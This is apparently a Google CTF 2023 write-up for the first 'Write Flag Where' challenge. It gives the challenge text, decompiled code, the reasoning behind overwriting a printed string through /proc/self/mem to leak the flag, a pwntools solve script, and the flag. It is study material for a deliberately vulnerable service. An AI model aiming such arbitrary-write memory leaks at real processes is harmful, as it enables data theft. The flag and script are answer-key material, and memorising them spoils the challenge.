```Part1:This challenge is not a classical pwnIn order to solve it will take skills of your ownAn excellent primitive you get for freeChoose an address and I will write what I seeBut the author is cursed or perhaps it's just out of spiteFor the flag that you seek is the thing you will writeASLR isn't the challenge so I'll tell you whatI'll give you my mappings so that you'll have a shot.
nc wfw1.2023.ctfcompetition.com 1337solves 294```
From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.
The decompiled code from ghidra for part 3, with some modification to reflect each level:```int main(){  local_c = open("/proc/self/maps",0);  read(local_c,maps,0x1000);  close(local_c);  local_10 = open("./flag.txt",0);  if (local_10 == -1) {    puts("flag.txt not found");  }  else {    sVar2 = read(local_10,flag,0x80);    if (0 < sVar2) {      close(local_10);      local_14 = dup2(1,0x539);      local_18 = open("/dev/null",2);      dup2(local_18,0);      dup2(local_18,1);      dup2(local_18,2);      close(local_18);      alarm(0x3c);      dprintf(local_14,              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn ess fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"             );      dprintf(local_14,"%s\n\n",maps);      while( true ) {	// dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily expire\n"); // part 1        local_78 = 0;        local_70 = 0;        local_68 = 0;        local_60 = 0;        local_58 = 0;        local_50 = 0;        local_48 = 0;        local_40 = 0;        sVar2 = read(local_14,&local_78,0x40);        local_1c = (undefined4)sVar2;        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);	// if (((iVar1 != 2) || (0x7f < local_2c))) // part 2        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5000)))) // part 3        break;        local_20 = open("/proc/self/mem",2);        lseek64(local_20,local_28,0);        write(local_20,flag,(ulong)local_2c);        close(local_20);      }                    /* WARNING: Subroutine does not return */      exit(0);    }    puts("flag.txt empty");  }  return 1;}```For part 1, there is a dprintf function call after the entrence to the while loop, so writing the flag to the string that are printed each loop can leak the flag.
`CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}`
```from pwn import *
elf = ELF("./chal_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.35.so")
context.binary = elfcontext.terminal = ["tmux", "splitw", "-h"]
def connect():        nc_str = "nc wfw1.2023.ctfcompetition.com 1337"        _, host, port = nc_str.split(" ")        p = remote(host, int(port))
    return p
def main():    p = connect()    p.recvuntil(b"shot.\n")    s = p.recvline()    elf.address = int(s.split(b'-')[0], 16)    print(hex(elf.address))
    p.sendline(f"{hex(elf.address + 0x21e0)} 60")
    p.interactive()
if __name__ == "__main__":    main()```
[link to blog](https://bronson113.github.io/2023/06/26/googlectf-2023-writeup.html#write-flag-where-13)